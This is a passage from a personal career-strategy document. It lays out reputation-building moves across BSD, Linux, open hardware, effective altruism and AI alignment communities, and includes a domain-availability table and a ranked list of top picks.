**Cost**: $200-1500 travel. +- **Why it works**: BSD conferences have under-supplied speaker pools (typical CFPs have 30-50 submissions for ~25 slots). A first-time speaker with a real technical contribution gets in. Speaking at one is a permanent talk page on the conference site. +- **Execute**: Submit to vBSDCon first (smallest, friendliest). Topic: a port story, a CI farm writeup, a deep-dive into one subsystem. Avoid: "Why BSD is great" talks. +- **Failure mode**: Pitch too broad. Counter: extreme specificity. +- **Timeline**: Talk accepted in 6 months, recording up forever. + +### Move 2.7: Become NetBSD pkgsrc maintainer for 5-10 packages +- **Cost**: zero. +- **Why it works**: pkgsrc has the lowest barrier to entry of any BSD contribution. Maintainers are listed in package definitions, indexed in pkg-historica, and your email is in every user's `make show-maintainer` output. +- **Execute**: Read pkgsrc-users mailing list. Apply for the wip CVS account. Submit a clean import. +- **Failure mode**: Pick a package that's actively-broken in upstream. Counter: pick stable ones first. +- **Timeline**: First commit 3-6 months. + +### Move 2.8: Write the "X for ex-Linux developers" series +- **Cost**: zero, time. +- **Why it works**: Every BSD has a non-trivial onboarding cost from Linux. A clear, technically deep series (e.g. "rcctl is not systemd: a mental model"; "pf vs iptables for network engineers"; "ZFS on FreeBSD: what your Linux ZFS habits don't transfer") becomes the de facto onboarding doc and gets you cited. +- **Execute**: Publish on krisyotam.com primary, mirror to bsdjournal-equivalent. +- **Failure mode**: Sounds patronizing. Counter: write from "I migrated and here's what hurt" stance, not lecture. +- **Timeline**: One viral post = 12 months payoff. + +## 3. Linux + +Linux is the most crowded community. The status moves are harder and the obvious slots are taken. Asymmetry only exists in niches with low bus factor. + +### Move 3.1: Get published in LWN +- **Cost**: zero. +- **Why it works**: LWN.net pays freelancers (~$300-500/article based on community reports), and a byline there is the closest thing to peer review in the Linux kernel social space. Greg KH cites LWN. It's the only general-audience Linux publication taken seriously by the kernel community. +- **Execute**: Email Jon Corbet (corbet@lwn.net) with a pitch and one writing sample. Best pitch types: subsystem deep-dive, conference report, careful interview, historical analysis. Read 3 months of LWN before pitching to match tone. +- **Failure mode**: Pitch reads as content marketing. Counter: zero links to your own stuff in the pitch. +- **Timeline**: First byline within 6 months if pitches are strong. + +### Move 3.2: Get a Linux kernel patch upstreamed (small but real) +- **Cost**: zero. +- **Why it works**: `git log --author='Kris Yotam'` in mainline is permanent. Even a single fix lands you in the kernel.org commit log forever. A handful of fixes in one subsystem builds "the X person" identity. +- **Execute**: Run a Coccinelle script on a subsystem you understand to find issues. Submit via the subsystem's `MAINTAINERS` list. Follow https://www.kernel.org/doc/html/latest/process/submitting-patches.html religiously. +- **Failure mode**: Spam-patch territory (whitespace-only patches). Counter: every patch must fix something real you found. +- **Timeline**: First merge in 2-4 months. + +### Move 3.3: Become an Alpine, Void, or NixOS maintainer +- **Cost**: zero. +- **Why it works**: Alpine and Void are small enough that becoming a maintainer in 6-12 months is realistic. Your name appears in every user's `apk info` or `xbps-query -R`. Much smaller bus factor than Arch's TU process. NixOS has perhaps the most active and prestigious packaging community right now. +- **Execute**: Alpine: read https://wiki.alpinelinux.org/wiki/Aports_tree. Submit 5-10 clean aports. Void: same model. NixOS: become a nixpkgs committer, requires 30+ accepted PRs typically. +- **Failure mode**: Pick a distro you don't actually use. Counter: dogfood for 12 months first. +- **Timeline**: Maintainer status 9-15 months. + +### Move 3.4: Found and run a kernel-subsystem testing farm +- **Cost**: ~$300-1000 hardware (or use STARGATE). +- **Why it works**: KernelCI and 0day cover broad coverage but specific subsystems (audio, exotic ARM platforms, specific NICs) have low coverage. A focused farm running one subsystem's selftests against linux-next nightly, posting reports to the relevant list, gets you into subsystem maintainer mind quickly. +- **Execute**: Pick a subsystem with active maintainers (Mauro for media, Takashi Iwai for sound, Drew Davenport for DRM). Coordinate with maintainer first. Use Lava if possible. +- **Failure mode**: Reports are noisy and ignored. Counter: regression-only reporting in year 1. +- **Timeline**: 12 months to recognition. + +### Move 3.5: Get a CVE under your name +- **Cost**: zero, requires real vuln research. +- **Why it works**: A CVE in a major Linux subsystem is a permanent line. Pair with a proper writeup on your blog. Not asymmetric for a generalist but asymmetric for a mathematician who can find subtle bugs. +- **Execute**: Focus on subsystems with known historical issues: BPF, eBPF verifier (formal-methods-friendly for a mathematician), namespaces, io_uring. Or kernel crypto. Use syzkaller as starting point. +- **Failure mode**: Disclosure timing missteps. Counter: read https://www.kernel.org/doc/html/latest/process/security-bugs.html before starting. +- **Timeline**: First CVE 12-24 months realistic. + +### Move 3.6: Maintain a niche-but-active GitHub repo of kernel tooling +- **Cost**: zero. +- **Why it works**: Tools like `bpftrace`, `bcc`, `flamegraph` made Brendan Gregg famous. Smaller equivalents (a better `perf top`, a static checker for a subsystem, an eBPF helper library) compound. The bar is lower than people think. +- **Execute**: Build something you'd actually use yourself. README must be excellent. Submit to the relevant subsystem mailing list as "FYI, this exists." +- **Failure mode**: Abandonware after 6 months. Counter: commit to 24 months minimum. +- **Timeline**: First citations in another tool's docs within 12 months. + +### Move 3.7: Run a Linux subsystem documentation rewrite +- **Cost**: zero. +- **Why it works**: `Documentation/` in the kernel tree is uneven. Some areas (Documentation/admin-guide/, Documentation/networking/) have stale or missing pages. Rewriting a subsystem's docs is welcomed, gets the documentation maintainer credit, and the byline is permanent. +- **Execute**: Pick a subsystem. Read existing docs. Get on the subsystem mailing list. Propose the rewrite scope. Submit chapter-by-chapter. +- **Failure mode**: Pick a contested subsystem. Counter: start with sound or media (active maintainers, doc-friendly). +- **Timeline**: First doc rewrite merged 3-6 months. + +## 4. Hardware + +Hardware status is the most documentable and the most photogenic. A photo of your custom board on Hackaday is the kind of artifact that lives forever. + +### Move 4.1: Publish a clean RISC-V core or peripheral in Verilog/SystemVerilog +- **Cost**: $0-2000 (FPGA dev board if you want to run it). +- **Why it works**: RISC-V is in the gold-rush phase. Clean published cores get cited, forked, and the author is interviewed. Even a small peripheral (a UART, a PWM controller, a SPI master with novel timing) gets traction if the code is exemplary. +- **Execute**: Publish on SourceHut + GitHub mirror. License Apache-2.0 + Hardware (CERN-OHL-W is the standard). Document with Markdown + Wavedrom diagrams. Submit to https://github.com/riscv/riscv-cores-list. +- **Failure mode**: One of 50 toy cores nobody uses. Counter: spec something specific (timing-deterministic, formally-verified, ultra-low-power). +- **Timeline**: 6-12 months to first community uses. + +### Move 4.2: Run a sustained reverse-engineering project on a single chip +- **Cost**: $50-500 in chips + decapping or microscope time. +- **Why it works**: The visual6502, ken-shirriff, mistertv archetypes. A single sustained chip RE project becomes the canonical reference for that chip forever. The Z80 RE, the 8086 RE, ken's chip teardowns are permanent. +- **Execute**: Pick a chip with cultural value but underdocumented: a vintage modem (e.g. 56K modem chipsets), a calculator chip, an obscure ASIC. Set up a microscope. Publish progress as blog series. +- **Failure mode**: Chip too complex for your equipment. Counter: scope down to a single sub-block. +- **Timeline**: First substantive writeup in 6-12 months. + +### Move 4.3: Hackaday Prize entry with sustained follow-through +- **Cost**: $50-500 BOM. +- **Why it works**: Hackaday Prize is an annual competition with serious community attention. Even non-winners get coverage. A project that wins a category becomes a permanent Hackaday tag. +- **Execute**: Submit on hackaday.io. Document weekly. Pick a niche with low entry count (often: bio-instrumentation, retrocomputing). Avoid trendy categories (current robotics). +- **Failure mode**: Project too ambitious for the timeline. Counter: a "1.0" should be done before submission. +- **Timeline**: 12 months from start to public coverage. + +### Move 4.4: Crowd Supply or GroupGets campaign with your first board +- **Cost**: $2000-10000 in initial inventory. +- **Why it works**: Crowd Supply has a curated catalog and very high status in the open-hardware community. A successful campaign there means actual product to actual users; the photos are documented forever; you join a small list of "the X board person" in discussions on hardware-types. +- **Execute**: Start with a single-purpose board (e.g. a precise oscillator, a clock distribution board, a USB-PD power supply). Apply to https://www.crowdsupply.com/get-started. +- **Failure mode**: Production cost overruns. Counter: prototype 3+ times before applying. +- **Timeline**: 18-24 months from idea to shipping. + +### Move 4.5: Found riscvpapers.org or opensiliconjournal.org +- **Cost**: $12/year per domain. **Both available** as of WHOIS check. +- **Why it works**: RISC-V has spec docs but no bibliography. Open silicon has no central publication. These are clear landlord slots. +- **Execute**: Same model as plan9papers.org. Tag by ISA extension, by application domain. +- **Failure mode**: RVI may launch their own. Counter: launch first, donate later if appropriate. +- **Timeline**: 18 months to SEO. + +### Move 4.6: Contribute meaningfully to yosys / nextpnr / Verilator +- **Cost**: zero, real work. +- **Why it works**: The open-source FPGA toolchain is small (Claire Wolf / YosysHQ, David Shah for nextpnr, Wilson Snyder for Verilator). Becoming a known committer there positions you adjacent to all the open-silicon people. Smaller world than kernel; faster recognition. +- **Execute**: Build something using these tools first. Find a paper-cut. Send a PR. +- **Failure mode**: Drive-by PR ignored. Counter: 5+ PRs sustained. +- **Timeline**: Recognized contributor in 12 months. + +### Move 4.7: Vintage Computer Federation membership + East exhibit +- **Cost**: ~$100 membership + travel to NJ. +- **Why it works**: VCF exhibits are real, photographed, and remembered. An exhibit on a chip-level restoration or a Plan 9 cluster running on vintage Sun hardware is the kind of thing that gets you written up. +- **Execute**: Apply to exhibit at VCF East. Prep starts 6 months in advance. +- **Failure mode**: First-time exhibitor anxiety. Counter: attend twice before exhibiting. +- **Timeline**: First exhibit year 2. + +### Move 4.8: Write for Hackaday +- **Cost**: zero. Hackaday pays freelancers (~$50-100/article). +- **Why it works**: Hackaday has the largest reach of any maker-adjacent publication. Bylines there persist. Subject expertise + good writing + photography is the entry combination. +- **Execute**: Email tips@hackaday.com with a pitch. Easier: get your own project covered first to build relationship, then pitch other writeups. +- **Failure mode**: Pitch too generic. Counter: pitch tied to a specific project (yours or someone else's). +- **Timeline**: First piece in 3-6 months if pitch is sharp. + +## 5. Effective Altruism + +EA is the trickiest community for status moves. It is small, suspicious of self-promotion, and post-FTX has high reputational fragility. The valid moves all look like real contributions, not promotion. + +### Move 5.1: Publish on EA Forum until you hit Curated +- **Cost**: zero, ~30-100 hours per serious post. +- **Why it works**: forum.effectivealtruism.org has a small editorial curation function. Curated posts appear on the homepage permanently. ~50 posts/year hit Curated. Hitting it once is meaningful. +- **Execute**: Read 3 months of Curated posts first to match style. Post types that consistently hit: rigorous critique of an existing EA argument; novel cause-prioritization analysis; honest negative results from a personal attempted impact project. Avoid: low-information opinion takes, "you're all wrong about X." +- **Failure mode**: Mass-downvote on a first post sets tone. Counter: start with a comment record before posting. +- **Timeline**: First Curated in 9-18 months if persistent. + +### Move 5.2: Take the GWWC pledge with public commitment +- **Cost**: 10 percent of income (the pledge itself). $0 reputation cost. +- **Why it works**: Giving What We Can keeps a public pledger list at https://www.givingwhatwecan.org/pledge. Being on it with a real name and a 10-year commit history is the most credible EA signal possible. Hauke Hillebrandt and others publish annual giving on their own sites; that's the next-level move. +- **Execute**: Pledge at https://www.givingwhatwecan.org. Publish a yearly giving page on krisyotam.com. +- **Failure mode**: Comes off as virtue signaling if you don't actually give. Counter: only do it if you'll give. +- **Timeline**: Reputation lift after year 2 of consistent giving. + +### Move 5.3: Get to top 100 on Metaculus or top 50 on Manifold +- **Cost**: zero, ~3 hours/week sustained. +- **Why it works**: Forecasting is high-status in EA-adjacent communities (LessWrong, EA Forum, Forecasting Research Institute). Top-100 ranking on Metaculus is achievable in 18-24 months and is a permanent profile badge cited by other forecasters. +- **Execute**: Metaculus profile at https://www.metaculus.com. Focus on questions in your domain (math, AI, systems). Calibration matters more than volume. +- **Failure mode**: Streak chasing leads to careless predictions. Counter: only predict on questions where you have an edge. +- **Timeline**: Top 500 in 12 months, top 100 in 24-36. + +### Move 5.4: Apply for Open Philanthropy Career Development or Worldview Investigations grants +- **Cost**: zero application, time for research output. +- **Why it works**: Being an Open Phil grantee is the strongest EA credential outside of working for them. Funding amounts are real ($50k-300k typical). Their grant database (https://www.openphilanthropy.org/grants/) lists every grantee permanently. +- **Execute**: Read their RFPs. The Worldview Investigations team funds rigorous moral-philosophy and decision-theoretic work, well-suited to a mathematician. +- **Failure mode**: Apply too early without published track record. Counter: 3-5 EA Forum posts before applying. +- **Timeline**: 24-month plan: build track record year 1, apply year 2. + +### Move 5.5: Found ea-mathematician.org or effectivemath.org +- **Cost**: $12/year. **Both available** per WHOIS. +- **Why it works**: There is no EA-aligned mathematician hub. Quantitative cause prioritization, applied moral philosophy via formal methods, decision theory under uncertainty: all underclaimed niches. A site that hosts rigorous mathematical work on EA-relevant topics positions Kris uniquely. +- **Execute**: Register. Build out 5-10 cornerstone essays before public launch. Cite heavily but also produce original work (e.g. formal models of patient longtermism, moral uncertainty under axiology disagreement). +- **Failure mode**: Looks branded. Counter: Lead with content, brand is the URL. +- **Timeline**: 12 months to community recognition. + +### Move 5.6: Get on the 80,000 Hours podcast or write a 80k-cited piece +- **Cost**: zero, requires existing track record. +- **Why it works**: 80,000 Hours podcast has perhaps the highest signal-to-noise in EA media. Guest selection is curated. Their problem-profiles and career-reviews cite specific researchers; being cited is the second-best outcome. +- **Execute**: Long game. Build EA Forum + Open Phil grant track record first. They'll find you, or you can pitch via a connection. +- **Failure mode**: Outreach without track record. Counter: 3-year horizon minimum. +- **Timeline**: 36 months. + +### Move 5.7: Attend and present a lightning talk at EA Global +- **Cost**: $50-200 (subsidized for many attendees) + travel. +- **Why it works**: EAG application is selective. Acceptance is a credential. Lightning talks are how new people get on the field's radar. +- **Execute**: Apply at https://www.eaglobal.org. Strongest applications have a specific role-relevant goal. After admit, propose a lightning talk on your specific work. +- **Failure mode**: Treating EAG as networking-only. Counter: have actual contributions to talk about. +- **Timeline**: First EAG in 6-12 months. + +### Move 5.8: Win the Open Philanthropy Worldviews Contest (when it runs) or similar essay contest +- **Cost**: zero, ~100 hours of writing. +- **Why it works**: OpenPhil and FHI-adjacent essay contests have small entry pools (~50-200) and prestigious judges. Winning or honorable-mention is a permanent CV line. +- **Execute**: Watch announcements. Submit rigorous, well-cited essays. Topic ideas for a mathematician: formal infinity-aversion, cluelessness under formal decision theory, axiology disagreement and convergence. +- **Failure mode**: Submit late or unrefined. Counter: 4-week pre-deadline draft cycle. +- **Timeline**: One submission cycle = 6 months. Recognition compounds. + +## 6. AI Alignment / AI Safety + +A community of perhaps 1000-2000 active people that doubles every 18-24 months. Reputation can compound fast. Factional landscape matters: MIRI-style (theoretical, agent foundations), Paul Christiano / ARC-style (prosaic alignment, scalable oversight), Anthropic-style (RLHF + interpretability), Redwood-style (empirical safety), evals-aligned (METR, Apollo). Identify which factions resonate with your math background before posting. + +### Move 6.1: Get a curated LessWrong / Alignment Forum post +- **Cost**: zero, ~50-200 hours per post. +- **Why it works**: Alignment Forum is the most concentrated venue. ~200 posts/year hit "Curated." A curated post from a non-MATS, non-org affiliated researcher is rare and remembered. +- **Execute**: Read existing curated posts. Best post types: a careful technical writeup of an empirical experiment with reproducible code; a formal-methods or math-flavored analysis of a popular alignment proposal; a thoughtful critique that engages charitably with the strongest version of an opponent's view. Avoid: hot takes on training run news, restatements of established arguments. +- **Failure mode**: First post downvoted to negative. Counter: comment 10+ times first to learn the room. +- **Timeline**: First curated 9-18 months. + +### Move 6.2: Apply to and complete MATS or ARENA +- **Cost**: zero, ~3 months full-time. +- **Why it works**: MATS (https://www.matsprogram.org) and ARENA are the most prestigious AI safety bootcamps. Alumni are tracked, get jobs at Anthropic/OpenAI/DeepMind/Redwood/Apollo/METR at high rates. Alumni status is permanent. +- **Execute**: Apply during open cycles. Strong applications require: 2-3 alignment-related projects on GitHub, evidence of engagement (LW posts), a clear mentor preference. +- **Failure mode**: Apply too generally; pick mentor mismatch. Counter: research mentors deeply first. +- **Timeline**: Acceptance to a single cohort = 18 months minimum from start. + +### Move 6.3: Reproduce a popular alignment paper, publish results +- **Cost**: $200-2000 in compute (Modal, Vast, Lambda) for non-frontier reproductions. +- **Why it works**: ML reproductions are scarce, valuable, and frequently disconfirmed surprisingly. A clean reproduction (or refutation) of a popular alignment paper is the kind of work that goes top-of-Alignment-Forum. +- **Execute**: Pick a paper where reproduction is doable (small model, public code). Anthropic's interpretability papers, METR evals work, Apollo's deception evals are all good targets. Reproduce, publish methodology, post results. +- **Failure mode**: Pick a paper too big to reproduce. Counter: scope down to one figure or one claim. +- **Timeline**: First reproduction in 3-6 months. + +### Move 6.4: Run a public alignment-eval harness on small models +- **Cost**: $500-5000 in compute, ongoing. +- **Why it works**: METR, Apollo, and the broader evals community would actively cite a maintained public eval harness for small models. Lower-cost than frontier model evals but still useful for alignment-theory. +- **Execute**: Build on Inspect (UK AISI's framework) or harness from scratch. Run weekly on a set of small models. Publish dashboards. +- **Failure mode**: Compute costs blow up. Counter: budget cap from day 1. +- **Timeline**: First citations in 6-12 months. + +### Move 6.5: Write the "things alignment people get wrong about [math topic]" essay +- **Cost**: zero, ~40-80 hours. +- **Why it works**: LW/AF rewards careful, mathematically grounded essays that challenge sloppy framings. A mathematician explaining (e.g.) what measure-theoretic concerns mean for solomonoff induction, or what algebraic geometry has to say about agent foundations, can go viral inside the community. +- **Execute**: Pick a specific sloppy framing, engage charitably, present the correct framing, derive implications. +- **Failure mode**: Reads as gotcha. Counter: positive framing, no called-out person. +- **Timeline**: One viral essay = 6 months payoff. + +### Move 6.6: Post an arxiv paper on a tractable alignment subproblem +- **Cost**: $0 (arxiv is free) + compute as above. +- **Why it works**: An arxiv paper with reproducible code, even from an independent researcher, gets read in alignment circles. Submit to NeurIPS Safety Workshop, ICLR ML Safety Workshop, or AISafety@AAAI. +- **Execute**: Pick a subproblem with a measurable signal. Interpretability circuits, scalable oversight benchmarks, deception elicitation eval design. +- **Failure mode**: Reviewer disconnect, paper dies. Counter: pre-circulate among 3-5 alignment researchers. +- **Timeline**: First arxiv preprint 6-9 months. + +### Move 6.7: Become a paid METR / Apollo contractor evaluator +- **Cost**: zero, application required. +- **Why it works**: METR and Apollo hire contractors for red-teaming and eval design. Even a small engagement is a CV line with the most respected eval orgs in the field. +- **Execute**: Watch their job pages and Twitter. Get a referral if possible. Engage in their public eval discussions first. +- **Failure mode**: Apply cold, get filtered. Counter: build LW track record first. +- **Timeline**: 12-18 months. + +### Move 6.8: Found alignmentpapers.org or alignment-newspaper.org +- **Cost**: $12/year per. **Both available** per WHOIS. +- **Why it works**: Alignment has https://www.alignmentforum.org for discussion but no canonical bibliography. https://stampy.ai is question-driven, not paper-driven. A clean, citation-quality, tagged bibliography of all alignment work is the next decade's default reference. +- **Execute**: Same model as plan9papers.org. Tag by: theoretical/empirical, agent-foundations/prosaic, sub-area (interpretability, evals, RLHF, scalable oversight, etc.). +- **Failure mode**: alignmentforum or MIRI launches one first. Counter: launch first, donate later. +- **Timeline**: 12 months to SEO. + +### Move 6.9: Cultivate a faction-neutral posture publicly +- **Cost**: zero, attention. +- **Why it works**: AI alignment factions can pull new members hard. The mathematician who publishes good work across factions (MIRI-adjacent posts AND Anthropic-style empirical posts AND METR-style eval posts) becomes a connector. Connectors get invited to retreats. +- **Execute**: Mix post types intentionally. Don't reflexively criticize one faction in service of another. +- **Failure mode**: Mistaken for waffling. Counter: have strong takes on object-level questions, even when factionally neutral on social ones. +- **Timeline**: 24 months. + +## Cross-community moves + +These hit multiple communities and exploit Kris's unique cross-section. + +### Cross 1: Build an open-source alignment-eval harness that runs on BSD or Plan 9 +- **Cost**: ~$0, time. +- **Why it works**: Nobody is doing alignment-relevant work on BSD or Plan 9. A clean implementation of (e.g.) METR's task suite running natively on FreeBSD with no Docker dependency is unusual enough to get coverage in both communities. +- **Execute**: Pick a known eval. Port deps. Document. Publish. +- **Timeline**: 12 months. + +### Cross 2: A personal site with serious essays — frame what amplifies status on krisyotam.com +- **Cost**: zero (already exists). +- **Why it works**: Gwern's archetype. Status compounds on the personal site. Specific moves: + - Publish reproducible technical essays with proper citations. + - Maintain a curated bibliography page per community. + - Annual "what I changed my mind about" post (Gwern, Scott Alexander, Tyler Cowen all do this). + - Yearly giving disclosure (EA signal). + - Long-term sequence (e.g. one math+alignment essay per month for 5 years). +- **Failure mode**: Becoming a content aggregator. Counter: keep ratio of original work to curation at 3:1. +- **Timeline**: Permanent compounding. + +### Cross 3: Speak at a non-obvious cross-community venue +- **Cost**: ~$200-1500 travel. +- **Why it works**: Talks like "Plan 9 as a substrate for AI agent isolation" or "Formally-verified BSD subsystems and what alignment can learn" pull from both pools and place you in the intersection. +- **Execute**: BSDCan or RISC-V Summit are easiest cross-venues. Submit a deliberately cross-topical talk. +- **Timeline**: 12 months. + +### Cross 4: A newsletter on a deliberately weird intersection +- **Cost**: domain + time. +- **Why it works**: Newsletters in any single field are crowded. A newsletter on "systems thinking for alignment researchers" or "formal methods for AI safety" is unique. Less than 10 percent of newsletters cover such intersections. +- **Execute**: Start as a Substack or self-hosted, weekly cadence, 12-month commit before evaluating. +- **Timeline**: 18 months to community recognition. + +### Cross 5: Annual conference proceedings, deliberately small +- **Cost**: ~$300-1000. +- **Why it works**: Host a one-day virtual symposium with 5-8 talks on a deliberately niche cross-section ("Formal Methods in Independent AI Safety," "Retrocomputing as Systems Pedagogy"). Publish proceedings. Year 2 attendance triples. +- **Timeline**: Year 1 small, year 3 referenced. + +## Domain availability audit + +WHOIS performed 2026-05-20. Status legend: +- AVAIL: domain not registered, register now +- TAKEN-ACTIVE: in use by real operator, skip +- TAKEN-PARKED: registered but undeveloped, possibly negotiable +- BACKORDER: expires soon, worth setting a watch + +### Plan 9 + +| Domain | Status | Notes / Recommendation | +|---|---|---| +| ninetimes.org | OWNED (Kris) | The anchor. | +| plan9papers.org | **AVAIL** | **REGISTER NOW**. Highest-leverage Plan 9 grab after ninetimes. | +| drawterm.org | **AVAIL** | **REGISTER**. Single-page tool reference. | +| acme-editor.org | **AVAIL** | **REGISTER**. Acme has no canonical landing page. | +| sam-editor.org | **AVAIL** | **REGISTER**. | +| rio-wm.org | **AVAIL** | **REGISTER**. | +| fossil-fs.org | **AVAIL** | **REGISTER**. Single-page reference for fossil. | +| venti-fs.org | **AVAIL** | **REGISTER**. Single-page reference for venti. | +| plan9bibliography.org | **AVAIL** | Backup name for plan9papers.org. | +| plan9biblio.org | **AVAIL** | Alternate spelling. | +| plan9news.org | **AVAIL** | Useful redirect to ninetimes.org. | +| plan9-weekly.org | **AVAIL** | Useful redirect. | +| plan9digest.org | **AVAIL** | Useful redirect. | +| plan9wiki.org | **AVAIL** | Could be a 9front-friendly wiki host. | +| plan9book.org | **AVAIL** | Reserve for the reference-book project. | +| cat-v-papers.org | **AVAIL** | Coordinate with cat-v.org maintainers before claiming. | +| inferno-os-papers.org | **AVAIL** | Niche but useful. | +| 9front-papers.org | **AVAIL** | Coordinate with 9front before launching. | +| acmedigest.org | **AVAIL** | Possible newsletter brand. | +| plan9papers.net | **AVAIL** | Defensive register alongside .org. | +| drawterm.net | **AVAIL** | Defensive. | +| acme-editor.net | **AVAIL** | Defensive. | +| sam-editor.net | **AVAIL** | Defensive. | +| rio-wm.net | **AVAIL** | Defensive. | +| glenda.org | TAKEN-PARKED | buydomains.com NS, for-sale broker, expensive. | +| glenda.net | TAKEN-PARKED | GoDaddy parked, likely brokerage. | +| factotum.org | TAKEN-PARKED | afternic NS, for sale. | +| 9grid.org | TAKEN-ACTIVE | Cloudflare NS, looks alive. Skip. | +| 9grid.net | TAKEN-ACTIVE | NameCheap, skip. | +| 9-net.org | TAKEN-ACTIVE | Registered 2025-11-07. Skip. | +| 9news.org | TAKEN-ACTIVE | Denver TV station. Skip. | +| 9weekly.org | TAKEN-PARKED | Dynadot 2021. Skip. | + +### BSD + +| Domain | Status | Notes | +|---|---|---| +| bsdpapers.org | **AVAIL** | **REGISTER**. BSD-wide bibliography hub. | +| bsdnewsletter.org | **AVAIL** | **REGISTER**. Cross-BSD newsletter brand. | +| openbsdjournal.org | **AVAIL** | **REGISTER**. Coordinate with undeadly. | +| netbsdjournal.org | **AVAIL** | **REGISTER**. NetBSD has even less news than OpenBSD. | +| dragonflybsd-papers.org | **AVAIL** | Small community, niche. | +| lwn-bsd.org | **AVAIL** | Defensively register. | +| bsdci.org | **AVAIL** | **REGISTER**. Pair with the CI farm move. | +| openbsd-ports.org | **AVAIL** | Coordinate with ports@. | +| freebsdjournal.org | TAKEN | Gandi-registered 2015. Likely a real FreeBSD-aligned holder. | +| bsdjournal.org | TAKEN | Tucows 2021. | + +### Linux + +| Domain | Status | Notes | +|---|---|---| +| kernelpapers.org | **AVAIL** | **REGISTER**. Pair with Linux subsystem bibliography. | +| drm-papers.org | **AVAIL** | DRM (graphics) niche bibliography. | +| linux-graphics-papers.org | **AVAIL** | Same niche. | +| systems-papers.org | **AVAIL** | Broader scope, possibly cross-OS bibliography. | +| filesystempapers.org | **AVAIL** | Strong niche (btrfs/bcachefs/zfs/xfs). | +| sysctlweekly.org | **AVAIL** | Niche newsletter brand. | +| linuxpapers.org | TAKEN-PARKED | Onamae 2011. Possibly negotiable. | + +### Hardware + +| Domain | Status | Notes | +|---|---|---| +| riscvjournal.org | **AVAIL** | **REGISTER**. Strong candidate. | +| opensiliconjournal.org | **AVAIL** | **REGISTER**. Broader open-silicon scope. | +| openhardwarejournal.org | **AVAIL** | **REGISTER**. | +| riscvpapers.org | **AVAIL** | **REGISTER**. Bibliography hub. | +| fpgapapers.org | **AVAIL** | Niche FPGA bibliography. | +| silicon-papers.org | **AVAIL** | Backup name. | +| retropapers.org | **AVAIL** | Retrocomputing bibliography. | +| chipreversing.org | **AVAIL** | Strong niche for the chip-RE move. | +| open-silicon.org | **AVAIL** | **REGISTER**. | +| hardwarepapers.org | TAKEN-PARKED | SafeNames 2016. Possibly available via broker. | + +### EA + +| Domain | Status | Notes | +|---|---|---| +| ea-mathematician.org | **AVAIL** | **REGISTER**. Unique math-EA niche. | +| effective-mathematics.org | **AVAIL** | Backup. | +| ea-math.org | **AVAIL** | Backup. | +| effectivemath.org | **AVAIL** | **REGISTER**. Cleanest spelling. | +| effectivealtruismpapers.org | **AVAIL** | Bibliography hub. | +| longtermism-papers.org | **AVAIL** | Specific subset. | +| ea-forecasting.org | **AVAIL** | Manifold/Metaculus EA-adjacent. | +| longtermism.org | TAKEN-PARKED | GoDaddy 2021. Likely brokerable. | +| neartermism.org | TAKEN-PARKED | GoDaddy 2022. Possibly negotiable. | +| ea-journal.org | TAKEN-PARKED | GoDaddy 2008. Old hold. | + +### AI Alignment + +| Domain | Status | Notes | +|---|---|---| +| alignment-newspaper.org | **AVAIL** | **REGISTER**. Direct ninetimes-analog. | +| safety-papers.org | **AVAIL** | **REGISTER**. Bibliography hub. | +| alignmentpapers.org | **AVAIL** | **REGISTER**. Primary candidate. | +| ai-safety-papers.org | **AVAIL** | Backup. | +| alignment-digest.org | **AVAIL** | **REGISTER**. Newsletter brand. | +| alignmentdigest.org | **AVAIL** | Backup (no hyphen). | +| aisafetyjournal.org | **AVAIL** | **REGISTER**. | +| alignment-weekly.org | **AVAIL** | Newsletter. | +| safetypapers.org | **AVAIL** | Backup. | +| safetyweekly.org | **AVAIL** | Backup. | +| aisafetynews.org | **AVAIL** | **REGISTER**. | +| alignmentnews.org | **AVAIL** | Backup. | +| alignment-papers.org | **AVAIL** | Backup. | +| aisafety-digest.org | **AVAIL** | Backup. | +| evals-papers.org | **AVAIL** | Niche, evals-focused. | +| alignmentbibliography.org | **AVAIL** | Backup. | +| aisafetypapers.org | TAKEN-ACTIVE | Porkbun 2025. Skip; someone is actively claiming this lane. | +| alignmentjournal.org | TAKEN-ACTIVE | Cloudflare, registered 2026-01-25 — very recent. Watch for development. | + +## Anti-moves (don't do) + +- Buy 30 domains, develop 1. Looks like squatting and undermines all other moves. +- Cross-post the same essay across LW, EA Forum, HN, lobste.rs. Looks like content marketing. +- "Effective Altruism Approaches to Linux Kernel Maintenance" type forced-fusion posts. They read as keyword salad. +- Adopt a guru posture before you have a track record. Twitter threads about "why most alignment researchers are wrong" before publishing alignment work is anti-status. +- Beg for follows. Skip Twitter/X follower campaigns entirely. +- Pick fights with named individuals in any of these communities. Especially OpenBSD and EA - reputational radioactive. +- Run a Patreon before there's a publication people would actually pay for. Patreon-first looks desperate. +- Publish AI-generated essays. The alignment and EA communities will detect it and trust evaporates. +- Use the words "asymmetric" or "leverage" in actual published essays. Smells like a status move. +- Auto-DM new community members. Permanent reputation damage. + +## Top 10 ranked picks for Kris (next 12 months) + +1. **Register plan9papers.org and 5 subsystem domains (drawterm/sam/acme/rio/fossil/venti) now**. Total cost ~$80/year. Builds out from ninetimes.org. Single afternoon of work to register and stand up minimal landing pages. + +2. **Register alignmentpapers.org + alignment-digest.org + safety-papers.org**. AI alignment is the fastest-growing of the six communities. Owning the canonical bibliography slot is the highest-leverage move available right now. ~$36/year. + +3. **Publish ninetimes weekly for 12 months without missing an issue**. This is what cements the move that's already been made. Consistency over brilliance. + +4. **Get a curated post on LessWrong / Alignment Forum**. One careful, mathematically-grounded essay on a sloppy alignment framing, written by a mathematician, can compound for years. Aim for one publication-quality post within 6 months. + +5. **Take the GWWC pledge and publish yearly giving on krisyotam.com**. Lowest-cost EA signal that compounds for life. The annual giving page becomes one of the most-linked parts of the personal site. + +6. **Submit a first OpenBSD man page patch via tech@**. Cheapest BSD entry point, fastest feedback loop, gets you on the OpenBSD culture radar with minimum risk. + +7. **Register ea-mathematician.org or effectivemath.org**. The math-EA niche is genuinely underclaimed. A handful of rigorous essays on quantitative cause prioritization positions Kris uniquely in EA without forcing the fusion in his bio. + +8. **Begin a Metaculus track record now**. 18-month plan to hit top-500. Forecasting credentials compound across both EA and alignment communities and are recognized in adjacent quantitative-finance spaces. + +9. **Pick one Linux subsystem and submit 3-5 patches over 12 months**. The math-friendly choice is the eBPF verifier or kernel crypto. Permanent commit log line, useful for systems credibility across all six communities. + +10. **Register bsdpapers.org and openbsdjournal.org defensively even if not building them year 1**. Both available right now, defensive registrations preserve future optionality at $24/year total. Decide in year 2 whether to develop. + +The pattern across all 10: cost is mostly under $100 for year 1 in domain fees, plus sustained writing/coding work that should already be happening. The compounding 